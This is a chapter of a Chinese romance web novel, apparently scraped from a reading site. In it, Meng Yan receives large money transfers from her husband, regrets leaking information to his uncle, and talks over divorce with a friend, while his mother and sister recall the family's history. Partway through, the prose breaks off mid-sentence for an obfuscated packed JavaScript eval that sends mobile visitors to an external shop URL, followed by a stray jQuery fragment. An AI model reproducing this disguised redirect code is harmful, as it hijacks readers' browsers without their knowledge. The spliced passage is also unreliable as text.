孟妍瘫在床上。
怎么就,这么不巧呢?
离不了婚,离不开汀园。
现在,唯一能慰藉她的,大概就是周闻渡不是个坏男人,她的眼光和心都没有出问题。
可她现在已经顾不上心动不心动的了。
周闻渡是个好人,可是她……她已经把林枫惜的消息给了周劲松。
就在两个小时之前。
这会不会阻碍他们拿回账册的计划?
孟妍好愧疚。
手机屏亮了一下。
是银行的信息。
孟妍这会儿提不起兴致,就随便瞅了一眼。是转账消息,银行卡好眼熟,好像是周闻渡的卡给她转的,足足有——个、十、百、千、万、十万、百万、千万、亿——两个亿?!
孟妍眼睛兀地瞪大。
她不可置信,弹坐起来,又数了一遍。
没错,真的是两个亿。
与此同时,聊天软件弹出弹窗,来自周闻渡:你说你想要个四合院种花种草,我最近忙于林枫惜的事,没办法帮你相看。钱给你了,你自己去看看,不够的花再找我要就好。
又是一条:要不我叫梁平帮你找个懂行的?帮你看看哪栋地理位置和采光条件好,也能参谋价格,不被中介坑骗。
还有:妈那边我刚才说过她了,让你为周家牺牲,对你来说太不公平。她也知道自己说那些话对你来讲很残忍,这么多年你一直在为这个家付出牺牲,也很不容易。她说,她以后不会再要求你做你不想做的,也不会再让你为周家牺牲什么。你只要做好孟妍,有什么事,我来就好。
周闻渡:还有,她说这是给你的欠礼。
银行卡再次收到转账,五千万。
孟妍绝望的放下手机。
三段文字,一字一句,是向她的委屈和需求给出的解决方案。
她更愧疚了。
现在联系周劲松,告诉他自己搞错了地址还来不来得及?
啊啊啊!为什么老天要这么戏弄她啊!
手机响了两声电话铃,是傅知遥的电话。她现在正需要一个可以谈心的人,迫不及待接通,第一句就是带着哀嚎的:“遥遥,全都完了!”
傅知遥还打算给她看刚刷完墙漆、铺好瓷砖的毛胚房,一听这话,也顾不上房子的事了,关心:“怎么回事?”
孟妍收了脾气,将今天发生的事简单都阐述给了傅知遥。
说完,语气又几近崩溃:“现在好了,婚也离不了了,我还做了那种事。遥遥,你说我还能和周闻渡离婚吗?能分到他财产的那种。”
“不好说。”傅知遥憋了半天,憋出了这三个字。
这丫头就是实诚。
“要是账册因为我的消息泄露落到周劲松手上,周闻渡肯定会生气,周氏可是周家好几代人的心血,白白落入那样一个人渣手里,谁都无法忍受。到时候怕不是我想提离婚了,是周闻渡要动用手段让我净身出户了,一分钱都拿不到就离婚,那我还不如死皮赖脸在周家过衣来伸手饭来张口的日子。”孟妍说。
傅知遥很认真的思考了一下她的长篇大论。
随即,她提议:“那你不让他知道这是你做的就是了。或者,你在他知道之前,就赶紧把离婚手续办了。”
好主意。孟妍琢磨,想到那些年她看过的网文:“遥遥,你说,我能不能像苦情小说的女主那样,拿一份要签名的文件,然后在中间夹一份离婚协议,偷摸让他签字?”
嗯……
傅知遥:“你可以尝试一下的,万一成功了呢?”
然而在她回答之前,孟妍已经先通过网络搜索否决了自己这个荒谬的想法:“先别尝试了,《民法典》说不行。”
“好吧。”傅知遥弱弱应声。
想了想,傅知遥说:“那你直接离婚嘛,在你这里,你觉得钱重要还是离婚重要?”
当然是钱更重要了,没有钱,她还怎么继续随时随地清空购物车、机票只买头等舱、餐厅只去五星级的奢侈人生?
傅知遥又说:“实在不行,你抛开钱不谈,直接离婚去奔赴你的自由就是了。”
抛开钱不谈……
关键是她抛不开啊。
她的包包和衣服要不要花钱?她的四合院后续软装要不要花钱?她用来画画的顶尖颜料和画具要不要花钱?
都是花钱的地方啊。
且退一万步来说,不考虑她只考虑伍宝儿。
伍宝儿上贵族小学要不要钱?伍宝儿上贵族初中要不要钱?伍宝儿上贵族高中要不要钱?
所以不论怎么说,她讲:“抛不开钱。”
傅知遥:“那你还是继续你的婚姻生活吧,毕竟,周家的钱最多了。”
孟妍不语。
傅知遥也没有再说话。
好半晌以后,她才想起什么说:“那你这个四合院还装修吗?”
“装!”肯定得装,孟妍就不信了,在四合院装修竣工之前,她还不能把那个小小离婚证给拿下。
……
下午,周妩拖着一身疲惫回的汀园。
她换了拖鞋,坐在沙发上长吁出一口气,正巧姜宝怡在泡周闻渡昨天新带回来的大红袍,递了一杯给她。
周妩轻抿了一口,沁香入喉,只觉得身心舒畅。
她惊喜:“这茶叶很是不错。”
姜宝怡也品了一口,她这个茶爱好者,也是十分喜欢:“是好茶,听闻渡说,是公司的合作商送他的,他不爱喝茶叶,就给我送来了。”
“他有心了。”周妩讲。
姜宝怡点头:“起初他刚回汀园,我还当他不是闻渡,毕竟消失五年又突然出现,实在诡异。不过如今看来,他了解我们的喜好,对公司打理的也相当不错,还是我误会他了。”
听姜宝怡的话,周妩不忍轻笑了一声:“妈,你真会想,他既长了那样一张脸,又怎么可能不是闻渡?世上怎么可能会有和闻渡长得一模一样的人,在他死后五年,突然来他至亲挚爱之人面前冒名顶替他?”
“我也就只是这么想嘛。”
不过而今想来,这个想法确实荒谬,荒谬到姜宝怡赧颜。
于是用话语遮掩:“所以,起初我虽说不想让他插手公司的事,但后来他真借着董事的身份着手于周氏业务时,我不也没拦着。”
周妩顺着她的话说:“说来,闻渡对公司的管理,确实井井有条。今日我去Victoria看小伯父为他准备的生日宴时,小伯父还说周氏在闻渡的手上,他很是真放心。”
提到周劲松,姜宝怡面色有些不虞。
他做的那些事,周妩暂且是不知情的。但其实周闻渡是打算说的,被姜宝怡拦了下来,讲而今周妩已经是梁家的人,本身就已经不会再被扯进这场利益争斗之中了,知道的越少便对她越好。
所以此时此刻,对于姜宝怡不霁的面色,周妩出声疑惑:“妈,你怎么了,在想什么吗?”
姜宝怡瞧她,不愿多说,于是不答反问:“今日你见小伯父,他可还说了什么别的关于周氏和闻渡的事?”
“讲了,还讲了不少呢。”周妩的注意力转的快,被姜宝怡的话吸引,回忆说,“周氏在闻渡的管理下欣欣向荣,虽比不上父亲在的时候,却也比他不在的这五年的业绩,要好上太多。”
姜宝怡欣慰的点点头。
“闻渡那孩子,像你父亲,为公司的事勤勤恳恳,甚至……”说到这里,姜宝怡顿了一下,忽地面色凄哀,“甚至总是遗忘家庭。”
提及此,周妩也免不了一声叹气、心生哀愁:“妈,有些往事,不是用来回忆的,而是用来遗忘的。”
话虽如此,真做起来,难上加难。
毕竟姜宝怡和周父,是真心且轰轰烈烈爱过的,在周父的父亲离世之前。
周家人大多命薄,逝世的早。周父是在周闻渡十七岁那年病逝的,而周爷爷是在周父二十五岁时去世的。
周父二十五岁前,对公司接触不甚多,当时的他尚且自由、潇洒,和姜宝怡是圈内人人羡慕的佳偶。
事情是什么时候发生的转变?
是在周爷爷离世,周父接手周氏事务的那一年,那时候,姜宝怡也才二十五。
不知是为了让周爷爷在天心安,还是说想要保护周氏几代人的心血不付诸东流,总之,周父为了公司事务常年不回汀园。
当时,周妩才四岁。
却也有了记忆,将姜宝怡独守汀园,哀怨又孤寂的身影看在眼里。却同时,周父每日疲劳的眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774650|209998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼、日渐佝偻的身影,也映在她的双眼里。
正因为她将一切都看在眼里,所以心疼姜宝怡的同时,也无法怪周父。
或许,姜宝怡也是因为知道周父的两难,所以这么多年,也不曾怪过他一句。
为了周家,姜宝怡耗费了大把青春,做周父的贤内助。把持家务、主持中馈,在内当家做主处理汀园里头大小事务,在外又要为了周家的商业合作常来回走动。
孟妍做的那些事,都是姜宝怡曾经做过的。
她时常觉得疲惫,于是想要爱人的抚慰,哪怕一句关心她是不是很劳累都可以。
但如果只是她累的话,那她想要的周父还能给她,只可惜,他们身在豪门,都疲惫不堪。
于是同床异梦,不说抚慰,三两句寒暄,在他们的婚姻生活里也是少之又少。
姜宝怡时常以泪洗面。
这样的情况,一直到周闻渡出生前一年才好了不少。
因为周氏推广到国外,生气红火,跻身百强。
是能力得到了认可,于是周父脸上逐渐有了笑容,在汀园里待的时长终于多了不少。
他陪着姜宝怡,恩恩爱爱,竟让她有了年少刚谈恋爱时的错觉。
的确是错觉。
短短一个月,周父又常留宿于周氏。
当时的姜宝怡敏感多疑,甚至以为周父出轨,在外面养了小情人。
她让年仅九岁的周妩去周氏试探,可结局是一切都是她多想。
后来才知道,她怀孕了。
所以多思多想,需要陪伴。却就在这最需要陪伴的时候,周父为了生意,奔赴国外。
一直到姜宝怡生产。
再一直到周闻渡满月,他才堪堪迟来。
彼时的姜宝怡已然心死,都又不能说不爱,只是己经不会再期待。
直至现在,每每回忆至同他的婚姻时,姜宝怡还是会感慨,最令人崩溃的不是原本爱过但慢慢的不爱了,而是爱到最后无能为力。
这些事周妩知道的最清楚。
所以周父离世时,她比起难过,更多的是松了一口气,替姜宝怡。想,她的母亲,终于不会再为一个人彻夜流泪心痛了。
而这些破碎的过往,对于姜宝怡来说,越少回忆越好。
所以,周妩转移话题说:“其实闻渡也没那么像父亲,至少,他对小孟很好,也没有因为事业过少关心家庭。”
姜宝怡却摇了摇头。
周妩不知道,她还不知道吗?
她说:“若是闻渡真有那么好,就不会一下子消失五年,不关心她们母子一句。而今回来,你看网络上舆论写是说闻渡多么多么爱小孟,但其实,他同你父亲,也没什么两样。”
姜宝怡叹了口气:“也就是小孟对他没多少感情,所以对于他的行为总是一副无所谓的态度。”
周妩少来汀园,确实不知道这些。
而且,孟妍在她面前,很少提及周闻渡的事,也总是一副笑脸模样,很少哀愁忧伤,所以她一直以为,她其实过得挺好的。
同样作为女人,尤其是作为已经结婚的女人,周妩有些生气:“那您也不多讲讲闻渡,让他维护维护家里的关系。否则等到小孟跑了,该有他后悔的时候。”
“我们做长辈的,最好不要插手感情事。”尤其姜宝怡已经被周闻渡讲过了,“不管怎么样,感情的事得有他们两个人自己解决,哪怕真有周闻渡后悔的那么一天,也算是让他长长记性。”
姜宝怡讲的也在理。
周妩点点头。
其实姜宝怡本来想说生日宴的事,结果聊着聊着偏题这么多,聊了那么些拖沓的情感事。
她忙扯回正题:“好了,不说这些了,我是要问你小伯父为闻渡准备的生日宴怎么样来着。你今日去看,那现场布置的怎么样?够不够气派上不上档次,尤其是安全问题,有没有什么保障?”
周妩点点头:“你放心,小伯父是自家人,肯定什么好的就紧着周闻渡来。我一一看过了,都是时下潮流的元素,气派奢侈。”
如此,姜宝怡的心在听了周妩的话以后,才稍稍安定些。
也是,他再怎么想动手,也不会再那么多人的场合下玩心眼。
姜宝怡想。